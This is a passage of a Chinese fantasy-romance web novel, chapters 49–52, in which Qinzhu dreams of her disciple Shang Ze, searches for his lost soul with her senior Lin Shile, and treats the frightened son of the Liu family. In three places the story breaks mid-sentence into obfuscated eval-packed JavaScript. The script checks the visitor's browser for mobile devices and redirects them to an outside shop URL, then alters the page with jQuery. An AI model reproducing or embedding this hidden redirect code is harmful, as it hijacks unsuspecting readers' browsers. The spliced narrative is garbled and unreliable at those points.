地图上临平县往东就是下一个小县,原本计划就是穿过两个县城到达那处脚店,而今这两个地方隔的这么近,大概早就将芩竹列为了通缉的范畴,去了怕多生事端。 “也好,走吧,”麦子伸了伸懒腰,跳上车,把芩竹手里的缰绳接过,“我来吧,你去休息一会。” 芩竹也没拒绝,暗暗打了个哈欠钻进车厢。 可能商则无意间掠来了个有钱人家的车马,车内物件皆是上乘,小榻亦是柔软,芩竹坐下就犯困。 她撑着额角手肘搭在窗边,眼皮打架,忽然就有种预感,自己怕是又要做梦了。 49. 前尘梦 清风从窗外吹进,打散垂落在旁的纱帘,吹得院外黄叶沙沙作响,些许几个掉在地上,刚好被一人轻快的步伐踩过,发出“咔嚓”一声脆响。 窗旁一身素净白衣的女子睁开眼,抵在额角的手指松开了些,揉了揉,转眼便见一个红衣少年快步跑来,撑着窗框的手微微用力,整个人轻巧的跃了进来,再转个圈,拉着凳子坐在女子旁边。 “芩竹!” 商则的头发长了许多,猛一坐下马尾辫滑到脸侧,又让他甩了回去,转来笑着唤道,一直背着的手一下子拿出来送到芩竹面前:“你看我给你带了什么!” 芩竹低头看,是一盏莲花灯。 她不由得看了眼窗外,红日当空,亮堂得很。 商则自然知道她在想什么,将等放在一边,说:“中秋那日本该下山去灯会玩玩的,可是……总之呢,这是补偿。” 芩竹伸手拨弄着花灯的花瓣,说:“灯会我去过,没什么值得补偿的。” “欸!”商则摇摇手指,话里带遗憾,“那是因为我不在,要是我带你去,一定让你玩得尽兴。” “……很自信。” 芩竹没什么好评价的,听他说完就端着那花灯放在了后面的柜子上,沉默一瞬,转过身看着在桌边写写画画的人。 走近一看,那人认真地画着小人,半个桌宽的白纸上,一堆潦草小人挤在纸的一角,越到后面,笔触越凌乱,原是那笔上的墨已经干了。 她走过去坐好,两指弹了下商则握着的笔,将旁边的砚台拉过来,说:“毛都岔开了。” 商则手抖了下,纸上划了一道更加难以入眼的线,芩竹看在眼里,又道:“握笔无力。” 随即忽然问:“师兄去后,是不是没人教你识字写字了?” “嗯……”商则的手紧了紧,抬眼小心地瞄着芩竹,看她没什么意外的接手了教学的任务,讨好地笑笑。 芩竹把商则画了一半的纸挪到他面前,扬了扬下巴:“写名字,多写几遍。” 她想着另外的事情,说完这一句就走了神,结果仅过三息后就听商则在叫她。 扭头乍一看,写了大半张纸,看着工整,待她将纸拿过来才发现不对。 “我让你写自己的名字,写我的做什么。”芩竹将纸翻过,示意他继续,又转头从身边的柜子上拿来一本书翻开,再去看时,纸上已经有了几个不算漂亮的“商则”二字。 只能说是能看,但和写得不错还差得远。 可刚才那面纸上写得名字就挺不错啊,难道是因为她名字简单? 芩竹的思绪一闪而过,给他提点一番,便按着人抄书。商则也很耐心,趴在旁边闷着头写。 她看着商则,之前的那个念头又冒了出来,这一次她干脆说了:“我过几日要下山一趟,你在这好好待着。” 商则猛地抬头:“我不去吗?” “师父说你只有一魂在世,我是要去找你剩下的魂魄。”芩竹说。 “我……”商则似有话要说,芩竹等着他问话,不想那人出口却是问书法上的问题。 几个问题讲完,商则才道:“那你路上小心,有什么要带的?” “应该没什么,此番我和大长老的弟子同去,有东西他会准备。”芩竹不甚在意地说。 商则愣了下,静静点头,又听芩竹问他的生辰,他打了个磕巴,说:“正宁二年,七月初一。” 芩竹提笔记下,继续问:“具体什么时间呢?” “不知道……” “不知道?你也是这么给师父说的?” 商则揉揉耳朵,低下头:“他自己算出来的,说是天刚蒙蒙亮那会。” 芩竹默默记下,便拿着纸起身,商则想要跟上,迟疑一下,又坐了回去。 计划出发的日子在两日后,商则虽是没有表现出来,但芩竹心里门清,这家伙就是想跟着一起。 她也没有遂了商则的心意,就是不点破他的心思,这几天把商则压在山头教他安分写字。 临出发前的那晚上,商则按耐不住了,上房揭瓦,以吸引芩竹的注意。 彼时,芩竹正在屋里收拾衣物,忽觉头顶丝丝漏风,抬头一看,瓦没了,商则的脑袋从那一小方夜空里探出来,朝她咧嘴笑了下。 芩竹:…… “下来。” “哦,好,”商则遵命,继续扣瓦。 芩竹把叠好的衣服放在包里,头也不抬:“放好,走大门。” 房上叮叮当当的动静一顿,接着声音更加快速,额头的风没了,芩竹余光能看到窗外跃下一道黑影,紧接着房门被敲响。 得到芩竹的同意后,商则才挤着门缝挪进来,看见桌上摆放的包袱后,目光沉了沉,慢步走过去跨坐在椅子上,抱着椅背下巴搁在手臂上,也不说话,看着芩竹忙活。 半晌,芩竹以为他就要这么闲下去的时候,那人开口了:“多久回来啊?” “听师父说困着你魂魄的东西就在陵南,漫无目的地找,快则一年,慢则……”芩竹想了想,道,“也没法再慢了,一年之后,找不着你就死了。” “那既然如此,为何还不放我出去跟着一同去找,好歹无憾了。”商则纳闷。 芩竹转到床头翻出了个布袋,颠了两下又回来放在桌上,回答:“师父说你身上有些奇怪之处,怕再像那日一般发狂我们治不住你。” 想到中秋那日的情形,商则也是愧疚,闭上嘴,芩竹瞄他一眼,又看一眼窗外,说:“天色不早了,休息去吧。” “不,我马上就要见不到你了,我舍不得你。”商则干巴巴道。 芩竹打结的动作慢下来,没说话,也没再赶他,忙完了这些就随便找了本书来,坐在窗边翻看。 余光能看到摇曳的烛火后面有抹红衣,视线灼热地投射过来,一眨不眨地盯着她。 书本上的字芩竹都认识,这时候却一行回看了好几遍才将它与前文连成一个故事。 时间和灯芯间滑落的蜡油一样,渐渐堆了一小台。 芩竹一页都还没翻过。 这时,商则忽然道:“是师父让你去找我的残魂吗?” “不是。” “芩竹,此去归期难测……这辈子没人给我祝过生辰,明年也不知我还有没命能活,我,现在我能邀请你吗?” 芩竹从书页间抬起头来,商则望着她,眼里是漂亮的烛火。 她开口迟疑:“我怎么给你过?而且现下都过了七月初一。” “无妨,你看外面月色多美,咱们一起去逛逛。”商则说着便起身过来,笑着向她伸来手。 面前摊开的手坚定,看到芩竹怔愣时,干脆直接攥上她的手腕,将人轻带了起来,一路牵出了房间。 门一开,风扬起,带起一片淡蓝荧光的花,仿佛一朵朵蒲公英,随风飘荡去。 芩竹抚开眼前飘来的花瓣,放眼望去,房间的大片山头尽是淡蓝的小花,置身其中,就像是在放光的海水中起伏。 天边圆月当空,下有无数飞花做伴,空荡黑沉的山崖也显得不那么寂寞。 可此时芩竹也说不清,是这些花的功劳,还是身边商则的原因。 芩竹伸了个懒腰,捞来送到手边的花瓣,径直走向前面的亭子,说:“原来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实两人中全是林时乐的笑声,和芩竹礼貌的回答,但在商则听来,就是他们勾肩搭背有说有笑。 甚好!芩竹就该所有人都喜欢!商则磨了磨牙。 同行的还有位生人,估计是车夫,师兄师妹直接钻进车厢里,就这样还能依稀听见些笑闹声。 马车启动,商则跟着慢慢走,期待着能听到什么。 五步,七步…… 马车越来越远,商则只能加快脚步,眼巴巴望着那马车顶上摇晃的金穗。 不知行了多远,车帘扇动,有只细长的手掀开帘子,商则眼神一亮,跑跳两步,见那滑落的衣袖露出一截白皙的手腕,接着就是芩竹探出头来。 本是面若冰霜的样子,可那双黑洞洞的眼在看到他时忽然晃了下,商则立马展开笑脸,伸着胳膊挥手。 芩竹不知怎的,不自觉地跟着摇摇手指,扬声道:“回去吧。” 视线中,那抹红衣越来越远,逐渐被山路遮盖。 芩竹缩回车厢,抱手靠在车上,余光感觉林时乐有些好整以暇地看她,她面上奇怪,便问,怎么了。 “明夷长老说那身含异样的小弟子就是他吧,虽不在山中,但二长老的几个徒弟被人揍的事情我可是有耳闻。”林时乐笑道。 “那几个弟子出言不逊,商则因此打架都是不对,罚也罚过了。”芩竹淡淡道。 林时乐仰着脖子“嗷”了一嗓子,点点头,说:“咱们往西,要先过了这村,路程还长,师妹可以先休息。” 说罢,就钻出了车厢。 50. 前尘梦 陵南说大不大,但芩竹要找的东西何其神秘,连是什么都不知道,就算听明夷的有个大气运者坐镇,也还是在外逛了小半年。 好在不论是芩竹还是林时乐,都不嫌这趟差事麻烦,两人抱着走一步看一步的态度,一边找,一边和玄英顶传信,没事还能帮山里干点斩妖除魔这些份内的小事。 就是有一点,芩竹这路上,走得越来越不得劲了。 她不是没有下山这么久过,幼时有一次,曾和江云初他们去过一趟极北严寒之地,是为拜会一位高人,做什么的忘了,只记得那一趟路程更加艰难,同行的小弟子都有些受不了。 可那时的她都没有这般奇怪的感觉,就像是缺了点东西,那东西不大,但足以让她感受到。 “小师妹?累了?”林时乐的声音打进耳朵。 这位师兄一天到晚快活得紧,走到哪都能找人聊上两句,刚才在这酒楼里吃饭,就下去添酒的功夫,便又和不知哪个姑娘小伙聊了半晌。 “不累,劳烦师兄了。”芩竹接过林时乐手中的酒壶。 她摩挲两下打开盖子,闻见酒香的那一刻,忽然记起来这酒壶的来历,还是商则找人做的,按他说的,丢了还能找回来,说上头刻了她的名字。 可之后拿到,两人抱着酒壶对着灯找了半宿,都没见到和芩竹有关的东西。 还记得当时商则的表情,好像打翻了调味盒。 芩竹想着,喝了口酒。 “唉,师兄我也算是健谈,怎么偏偏跟你聊不到三句。”林时乐说着,摇头叹息。 芩竹平静道:“师兄,已经三句了。” 餐桌上又传来一声叹息,表示礼貌,芩竹抬眼看过去。 “其实半年前我下山时见过你和那小兄弟,那会他刚上山,远瞅着他嘴就没停过,之前我就还以为你们二人都是乐得聊天之人,可后来这面,一个比一个话少。” 林时乐磕着瓜子,随意在手边堆着瓜子皮,说:“那兄弟就不说了,只一面,我总觉着他不太搭理我,你嘛——” 瓜子在他手指间翻了一圈,芩竹面无表情听那人伸着食指控诉她:“除了吃就是睡,每日能主动和我说句话就是烧高香了!” 芩竹:…… 她头一次被这么形容,认真想来发现的确没错,缓缓回答:“师兄夸张了点,而且这么说的话,其实师兄和我也没什么区别,就是多了搭话这一点。” 无非一个是猪,一个是能说话的猪。 林时乐愣了愣,哈哈大笑:“看你这副模样,我还以为你不懂这些言外之意呢,没想到啊没想到,还会回嘴。” 芩竹:我长的很像傻子吗? 不过林时乐仔细瞧着她,倒真没半点生气的样子,感觉理他这句都是出于礼貌的给他捧哏。 他也不在打趣,在餐桌上挑挑拣拣,送进嘴里一块肥瘦相间的肉,细细品尝一番,才道:“咱在这紫竹镇也呆了大半月了,再留两日,便走吧。” 六月火云散,蝉声鸣树梢。 芩竹和林时乐走出酒楼,结伴向客栈走去,路过告示板,林时乐忽然兴起从人群中挤过去看热闹。 紫竹镇民风淳朴,鲜有作奸犯科之事,因此这板上贴的无非就是些芝麻蒜皮的小事,可就是这样,还是让林时乐从中翻出了个差事。 他把那纸从板上扯下来高举着转到芩竹面前,说:“刘家悬赏千两寻找大夫,给他小儿子治病,咱也去瞧瞧?” 刘家家主刘其,是个商人,年轻时在大肃和东越间贩些东西,后又于西域互通往来,发了家,晚年定居陵南,正妻几年前才生下一个小儿子,一家人捧在手里怕碎了含在嘴里怕化了。 芩竹两人进了镇子那日就听说了这小少爷受惊高热的事,多少时日过去,竟然还没有好? 她如实问了。 林时乐把手里的告示展开,道:“先去看看,若是无事再走便是。” 他完全是闲的无聊,明明两人医术平平,还是要揽这档子事,芩竹也是无所谓,真跟着他去了。 这一问还真是,刘家守门的一见他们二人手上的东西,二话不说冲进去,大喊着:“又来大夫啦!” 林时乐微笑的表情显出一丝裂痕,纸遮着嘴角对芩竹道:“坏了,看来刘小少爷的病很是棘手,恐怕搞不定啊……” 芩竹:“嗯。” 林时乐:…… 还不等林时乐拽着芩竹溜走,里面就走出个颤颤巍巍却步伐极快的男人:“快请进!” 两人无法,只得进去,得知来人是管家灰伯,什么也没问,就先说了他们家小少爷的症状。 “小少爷高热不止,昏睡多日了,之前有大夫来看过,症状缓解不少,也能下床吃些东西,可这两日又成了这样,还不断发癔症……”灰伯领着两人快步向后院走,说得直喘气,说到这里咽了口唾沫。 林时乐忙道:“您慢些说。” “慢不得啊,”灰伯深吸一口气,继续道,“小少爷睡着了还好些,醒着就惊恐万分,在房里拐角缩着,要不就大喊大叫,老爷都无法近身,药自然喂不进去,昨日实在没劲了,直接昏了过去,才能喂些糖水。” “这般严重……”林时乐有些犯愁。 灰伯看到他的表情,说:“公子也别有负担,我家老爷不会为难人,只求尽心尽力。” 这话实在诚心,林时乐正色拱手:“放心。” 说话间,后院也到了,又绕过一段回廊绿湖,在一处幽静果林中,发现了个孤零零的小院。 正是小少爷刘硕的居所。 不等两人发问,灰伯直接解惑:“前段时间有大夫来看,提议将少爷安置在清幽无人打扰的地方,老爷这才派人将这处打扫出来。” 三人继续向前,芩竹刚踏进林中,就感觉到四处埋伏的暗卫,于是放松身体,慢慢走在最后。 靠近院墙,便能听到里面些许谈话声,灰伯敲门进去,就有一男一女的中年人起身迎接。 是刘其和她夫人。 林时乐礼貌行礼,芩竹照做,刘其知道灰伯已经告诉了两人刘硕的病症,憔悴的脸上勉强挤出一丝笑,将人领去房间。 院里的树都被砍掉,芩竹多看了两眼,刘其注意到,苦笑说:“树影夜晚映在窗上,硕儿害怕。” 终于到了刘硕的房间,默契般的,几人都没有推开房门,只是从窗上的一个小孔望着里面的情形。 窗子对床,刚好能看到床上的一团被子,房中乱成一团,桌椅躺倒,有花枝散落一地,能看到是有人匆匆收走了碎裂在地的花瓶残片。 那床上的被子……大概也是刘硕裹着被子缩成的团吧。 “喂了糖水有了力气,便又见不得人了,把自己闷在里面。”刘夫人说得艰难,到后面哀叹着带了点啜泣,“就只能放些糕点送进窗里,他饿得受不住了晚上会伸手来拿……我们硕儿,何时受过这种罪啊……” 芩竹站在一边,她觉得这事林时乐能解决,便也没去看窗上的洞,听刘夫人的话,怕自讨没趣,也没开口,继续降低存在感。 林时乐则是安慰道:“那便好,只要他饿了还会找吃的,说明还能救。” 刘夫人愣了下,和刘其对看一眼,两人惊喜道:“当真!” “当真……也不完全,我要先去看一眼情况。”林时乐说,然后就那么大喇喇地推门进去了。 一时间芩竹便暴露在那夫妻两面前,对面显然想让她说些什么,她领了那两道期待的眼神,郑重点头附和:“嗯。” 门外安静一瞬后,刘其夫妇就扒在窗口看房内的景象。 想象中的叫喊没有来,林时乐在刘硕床前站了一会,不知做了什么,又跑出来将芩竹拽了进去。 后者本来靠在旁边发呆,一下子被扯到刘硕面前,听她的好师兄道:“给他把把脉。” 芩竹照做,不忘问他:“什么情况?” 这孩子八九岁大,脸色蜡黄,眼下青黑,原本清秀的相貌在此刻也不复存在了。 “他还是会怕,我就趁没人发现,给他打晕了,你看看怎么回事。”林时乐脸不红心不跳,全然不在乎刘家夫妇听得一清二楚。 “没什么大碍,就是脾胃虚弱,气血不足,”芩竹边说边将刘硕的身子往床里面挪了挪,给他盖好被子,扭头给林时乐道,“师兄应该也知道,小少爷的病症 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958257|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在身。” 林时乐笑道:“我自然知道,但我医术不如你,还是得问问才安心。” 他留下这一句就走房门,芩竹替刘硕掖了掖被角,退开时,见枕头下露出一截流苏,想来是什么玉佩之类的贴身物件,怕这孩子醒后不留神给打碎了。 于是就小心抬起枕头,想把东西拿出来放在床里侧。 然而这么一看,那才不是玉牌,而是个金玉相融的物件,上刻这个威风凛凛的兽样,不消多看就知道,是个护身佩。 那就更不敢离了身,芩竹就把那金玉佩从枕下换走,放在刘硕怀里。 脱手的那瞬间,忽然眼前一暗,像是个马车的车窗,车帘外是昏暗的夜色和村庄,又一白影疾驰而来。 芩竹浑身一震,向后踉跄两步稳住心神,晃了晃脑袋再睁眼,还是刘硕的屋子没错。 屋外林时乐疑惑看进来叫她,芩竹回忆着刚才的情形,应声走出,默默听着外面几人的对话。 “你是说,硕儿被……脏东西缠上了?可,可之前我们请了道士做法,都说无碍。”刘夫人急道,又让刘其揽着拍拍身子安抚下来。 林时乐点头:“具体是什么就连我也看不出来,但——” “因为他没有被缠住,可能只是受了惊吓,魂魄不稳所致。”芩竹突兀打断了他的话。 林时乐愣了下,反应过来叉着腰伸手指了下芩竹的脑袋,把她点的身子一歪,莫名其妙看过去。 “怎么说?”他问。 “不太好说,但肯定没有,小少爷身上金玉佩替他挡了一击,可那脏东西也因此显形与他正面对上,这才入了心,吓成这样。”芩竹道。 林时乐听着她的陈述,摸着下巴思考,刘家夫妇也说:“怪不得呢,那腰佩硕儿从小戴到大从不离身,这次却又是砸又是扔,可真要拿走他又不愿意,真真叫人劳心……” 情况清楚,事情就好解决得多,林时乐笑道:“今日不早,等会我小师妹会开个补身子的药方,劳烦老爷和夫人准备些药材,待明日一早我带着东西来帮少爷‘诊治’。” 刘家夫妇听到有希望,还说什么?一切都依着林时乐,明明太阳都在还一侧悬着,嘴上却说着“公子好生休息”,将人送出了宅子,留下芩竹一个还在给灰伯开方子。 明明就是个寻常方子,非要把她留在这,也不知道又去哪里玩耍了。 想着过两日要离开,芩竹也不着急回去了,在镇上随意逛着,到了天黑才赶着人家要关门的时候回来,匆匆上楼回屋。 推门的瞬间,芩竹却听到房中有一抹异样声音,紧接着,拳风陡然袭来,直逼面门。 她侧身一避,双手架着袭击的拳头格开,反身一踹,被对面挡下。 这一下,两人都进了屋,房门被什么关上,屋内立刻黑暗,只有窗外月光在地面投下一块冷光。 有一人立在墙根的阴影处,看不清形貌,但看动作,似乎是在揉着手腕。 不知怎的,芩竹忽然觉得这动作熟悉。 “谁?” 那人不应,反迅速攻来,芩竹从身侧勾起一个矮凳向来人砸去,再被击开,两人交手。 对面之人约莫比她高半个头,压来时能整个罩住她的身子,近身过招才发现,这人戴着面具。 奇怪……装扮诡异,却并无杀意,甚至,芩竹还敏锐地听到了两声轻笑。 一个在她心里已经模糊的身影猛地浮现在脑海,这下,眼前这个隐在暗处的人影也奇迹般地清晰起来。 她手上动作变得迅猛,化掌为刀,掌掌带风直击那人头首。 对面逐渐落在下风,又不愿去躲,芩竹直直将他逼近窗台,月光温润,面具下的那双眼清亮,里面能看到一个小小的白影,是她。 那人生受了她一掌,上半身靠窗上,空了半截身子就要栽下去,芩竹立刻收手攥着他的领子将人拽回来,同时一把摘了他的面具。 只看面具下的人勾唇一笑,忽然握着她的手腕向旁边一拉,接着矮身闪走,芩竹一只手腕受制于他,一只手拿着面具,便也没动,任由他反扣着自己的手在后腰,整个人贴上来。 “我想你了。” 51. 前尘梦 芩竹看着手里这丑面具,左侧颈窝被商则的下巴抵着,他的发茬划在她耳尖,有些痒,便往旁边侧了侧头。 后腰的手忽然被捏得更紧了,商则从前环扣着她的肩,将她整个压在他怀里,她不得不稍微抬些下巴才不至于被他的胳膊卡住。 以这个姿势重逢,并不美丽。 芩竹那只自由的手扔了面具,扣住卡在脖颈的小臂,侧脸道:“放手。” “不。” 商则摩挲着芩竹被他反扣的手腕,搭在她肩上轻轻呼吸,重复了一遍刚才的话:“我想你了。” 芩竹没说话,想着他是不是还要说什么。 果然,那人本也不在乎芩竹的回答,继续道:“我的武艺进步了吗,这半年,我从没有闲过……” “明夷师父不让我下山找你,还派了两个守山弟子拦着我,逃也逃不掉,只能努力练功把他们打趴下。” 芩竹偏偏头,想看看商则现在的表情,可他把自己揽得太紧,稍微转个身都不行,简直可以说是用手臂把她锁住了。 “芩竹……”商则叹了声,芩竹睫毛飞快颤了颤,想缩缩脖子,做不到,就只能转两下手腕。 她本就没有用力气挣扎,可没想到,这随意动了两下却让商则放开了手。 刚想站好转过去,商则又从后环着她的腰轻轻抱了上来。 “从这里回玄英顶,路程遥远,找到了魂魄,也赶不及我生辰那日回去,找不到……难道我死在那你都不回去了吗?” 商则的呼吸是冰凉的,窗外有风,但芩竹很热,她能感觉到后颈有细汗滑下。 可她像没事人一样,出口仿佛带着冰碴:“这个镇子没有线索过两日便会走,约莫半个月还是没能找到的话,我就会回程,你生辰那日我赶得及。” 后背那层热度又高了些,芩竹被挤得稍微往前了两步,商则叹了声:“你明知道我问的不是这个。” 芩竹垂眸一瞬,胸口起伏两下,接着迅速抬肘向后砸去,商则后撤一步,挨下这当胸一击,闷哼出声。 “你也知道我不会骗你,那为何不在山上等着,非要下山。”芩竹平静看着眼前许久不见的人。 头发更长了,垂在脑后,看着她笑时会稍稍歪歪脑袋,这时那发尾就会甩出一截,混着红色发带格外精神。 “那不是因为我想你了,”商则说着,张开手臂向她走来,“多年不见,你不抱抱你的爱徒?” 芩竹拍开他的手,走到桌边点灯,同时疑惑:“哪来的多年?” “一日不见如隔三秋,我们都几百日不见了,还不是多年?”商则跟在她身后闲来无事拽拽她束袖上的飘带。 火光亮起,芩竹抬眼,刚好商则坐在对面,那人一如往常目光定定望着她,只要她抬头,那人就在。 一时间芩竹也忘了这家伙的鬼话,转去拾地上歪七扭八的凳子椅子,坐定后,听那人道:“我觉得你师父说不定是骗你的,我前半生活得好好的,没道理说死就死了。” “他犯不着拿这事骗你。” “可我犯不着离了你这些日子……”商则瞧着芩竹的表情,见她不为所动,就撑着脑袋换了另一个话题,清了清嗓子道,“我来时,听了个故事。” 之前商则总会给芩竹讲些民间传闻,这次她就也这么认为,点点头示意他继续。 “听说紫竹镇打南边来了对男女,郎才女貌还心地善良,帮了乡亲们不少忙,大家都赞这两人会有好福报的。” 商则一边讲一边捻桌上的烛火,话里的别扭不住地往出飞,个个击在芩竹身上。 她开始根本没认真听,忙着在包袱里找东西,到后面才听出来是在说她和林时乐。 “不能开师兄的玩笑。”芩竹正经道。 商则“哦”了声,刚要再说些来时的趣事给她解解闷,就听房门忽然被敲响,外面传来道不太正经的叫门声:“师妹,睡了吗,有件事情想问一下。” 还没等芩竹开口,旁边那瞬间冷脸的爱徒就先一步开口:“睡了,师兄请回吧。” 芩竹:? “哦?”门外那声音一顿,接着房门突然被踹开,从外飞进几把飞刀直冲商则而去。 芩竹察觉,抽走额上的发饰将几把刀隔空拦下,却还是有漏网之鱼冲向商则颈间,那人翻身闪过,垂眸一看,衣袖被划开了一道长痕。 林时乐靠着门板,抬手本欲再攻,看见门后没事人似的芩竹时表情一变,停下动作,将插在一旁的簪子拔下来递回去,这才好好看了看前面拍了拍手站起身的人,随即了然一笑。 “原来是师弟啊,多日不见,原来一直在师妹屋里藏着。” 商则一振衣袖,走到桌边将椅子扶好跨坐上去,将成了条的袖子重新卷在腕上,说:“没有,我小师父的屋子,怎么能是想来就来的。” “没有规矩。”他摇摇头,似乎是在说自己。 林时乐好笑地看了眼芩竹,后者当下也有点懵,知道他话里有话,就走过去一拍商则的脑袋:“不得无理,叫师兄。” “师兄——”商则揉揉脑袋,听话叫了声,又说:“师兄这么晚了,怎么还来敲师妹房门呢?” 芩竹直觉这会的商则有些犯病,总也不会翻起什么浪花,干脆就不管了。 林时乐努着嘴点头:“哦……半夜听见师妹房里有打斗声,还有陌生男子的声音,自然得来看看。” “陌生”俩字说得重些,商则顿了片刻,笑道:“那师兄现在看到了,还不走吗?” “小师弟都不走,我这个做师兄的为何要走?况且——” 林时乐走到芩竹边上,从她翻乱的包袱里抽出一个布包裹着的盒子,上下抛了抛,对她说:“记得明日要早起。” 芩竹:? 说罢,那人便摇头晃脑地走掉了,路过门口时,还不忘给芩竹眨眨眼。 芩竹:? 商则起身走出:“你好好休息,我先走了。” 不懂怎么一个两个都来自己这屋子过路一番,芩竹也没那闲心琢磨,系好包袱就上床休息了。 第二日一早,便是熟悉的叫门声:“芩竹,吃饭了!” 这声音太久没听到,却依旧像印在脑袋里似的,芩竹习惯性地应了声,翻身继续睡,下一刻就被人从床上揪起来:“起来了,你那师兄在楼下打我,你还在这里睡大觉。” 什么玩意? 芩竹迷糊中瞪他一眼,那人立刻嘿嘿一笑,不说话了。 楼下并没有林时乐的踪影,据商则所说,他是去别处勾搭人去了过一会回来。 芩竹没说信或不信,等林时乐打着哈欠出现在楼下,三人便出发去刘家宅院。路上商则已经了解了具体的事情,去哪里,不过就是想挨些芩竹。 不过就是给刘小少爷压压惊,林时乐有大长老给的灵器在手,不消一刻钟就让刘硕平静了下来,安稳睡去。 刘家夫妇感激涕零,握着两人的手说要报答。 但林时乐神情也未松懈,只道:“先不说这些,那脏物道行很深,以防它重新来过,我们还要等小少爷醒后再看看。” 几人便就在刘宅歇了下来,等刘硕醒后喝了药再次入睡,依旧未发癔症,几人才放下心。 彼时是用午膳的时间,林时乐问:“师妹,你先前说那奇怪景象可否能具体说说。” “说不出来,只能看出是个白影,更清晰的应该是那金玉佩为了保护小少爷将那段记忆抹去了。”芩竹道。 饭桌上说这些,多少有点扫兴,可刘其夫妇也没有怪罪,反而关心道:“不知二位所言何事?” 芩竹详细和他们说了,转念一想,便直接问那夫妻:“之前小少爷可有一人一车去过什么地方。” “这……” 那两人犯了难,一问才知,这刘硕原是个喜欢游山玩水的,小小年纪经常独自在外面游荡,吟诗作赋,闲画山水。 不是说这夫妻俩当宝一般地宠着吗? “做父母的,那个不想让孩子成才,硕儿有如此才情,不该浪费,再者说,家中暗卫无数,也能护他周全。而且硕儿每次外出,从不过夜。”刘其说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972644|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以像那景象中深夜行车的情况很多。 林时乐想了想,问道:“那就回忆一下他出事前都去过哪些地方。” 刘夫人沉吟片刻,直接唤来一个下人,说了些什么,过了会,那人端来个簿子递给林时乐。 芩竹凑过去看,见那上面条条记录了刘硕出门的行程和日期,还附上刘硕那日作的诗和遇见的奇人异事。 “……五月初二,城南河畔,与一钓客闲论水中鱼之喜乐……初四……” 林时乐念叨着还能做出评价,赞叹几声,哄的刘家夫妇笑意盈盈。 他翻页,芩竹细看,在最后两页时按住,又向前翻去。 “六月初七,赏镇边村落之景……”后面提着一首诗,说些村子的世外景色。 芩竹指着这页说:“少爷是何时发病的?” 刘夫人伸着脖子看她指的哪一页,看见后思索一阵说:“这日我记得,天很晚了,我还数落了他两句,那时还好着,而后第二日又跑了出去,连着两夜都回来甚晚,第三日便发了病。” “我们请人去看过,他前几日去的地方都没有联系,最后那日竟然只是在镇上的桥边坐了整天。”刘夫人说。 芩竹疑惑:“村子呢,没去过吗?” “去了,请的大师去过一次,我们自己人也去过一次,没什么奇怪的。”刘其认真道。 可芩竹分明看见的就是一片村庄,她点头表示知晓,经几人商议,待吃过午饭便尤刘家人引路去那村子里看一看。 听领路人说,去的村子叫桂花村,小小村子不过百来口人,都是些熟面孔,个个是热情好客的纯朴村民。 村子也近,离紫竹镇不远,不过半个时辰便到了,村口修剪的干净,在两座矮山之间。 芩竹三人下了马车,跟着领路人进去,便就有三两个扛着斧头的年轻人从村口拐角出现,结伴回家去,听到他们的动静,转头看了眼,笑道:“欸?镇上的人?” 领路人也笑:“是是,带朋友来村里逛逛。” 那几人互相看看,再冲后面的芩竹三人打个招呼,继续有说有笑地向前走去。 “是吧,村子里亮堂得很,我们也来人算过,人都齐乎着呢。”领路人走进村,遮着嘴巴悄悄给他们说。 芩竹四处看着,没理会逮着机会说话的林时乐,眼神不自觉地看向后面默不作声的商则。 这家伙路上还好好的,怎么这会忽然哑巴了。 她扭头看去,眼神猛地一凛。 似乎有条红丝钻进他眉心,接着就看那人双眸亮出一抹血气,发尾都染了红。 这情况…… 她心道不对,拉着商则就要走,那人表情懵然,先是跟着她走了两步,又忽然停下,芩竹拽他的动作受到阻力,被扯得一歪,回头去看,商则疑惑:“做什么?” 不对劲,平常他不会问这种问题,就算要问,也该是先跟着她走。 芩竹脸色沉如水,放开手:“天晚了,回去。” “你师兄在这里,难道不管他了,还是说你觉得我在这里比较碍事?”商则反手指了指身后面一无所知甚至还在和小姑娘搭话的林时乐。 后者打了个响亮的喷嚏,莫名其妙望过来。 芩竹抬手:“师兄,时候不早了,先回去。” 林时乐奇怪地“啊”了声,看那俩人之间氛围较之先前有所变化,便收起嘴上的问题,带着领路人跟过去。 “跟我回去。”芩竹远看着林时乐过来,她收回眼神,扫向表情无辜的商则,留下这句后就转身向村外走去。 商则脑袋里有一根弦忽地崩断了,他突然不知自己身在何处,在做什么,入眼就是芩竹冷漠的背影,余光一闪,林时乐略过他叉着腰快步跟上,笑道:“师妹怎么了,有什么话要和师兄说?” 他不太明白现在的状况,只得跟上,可看着前面的情形又觉得自己显得多余,于是慢步坠在后面。 走了一会,最前面那人像是寻找什么,站定转了半圈后看向他,眼神略显疑惑地开口:“过来啊?” 52. 前尘梦 被芩竹拉去马车上的时候,商则还有点头晕,只本能地跟着芩竹的指令走,最后还不忘挤到她身边坐下。 马车摇晃行驶起来,芩竹观察着商则的举动,看他皱眉垂着头,表情并不轻松。 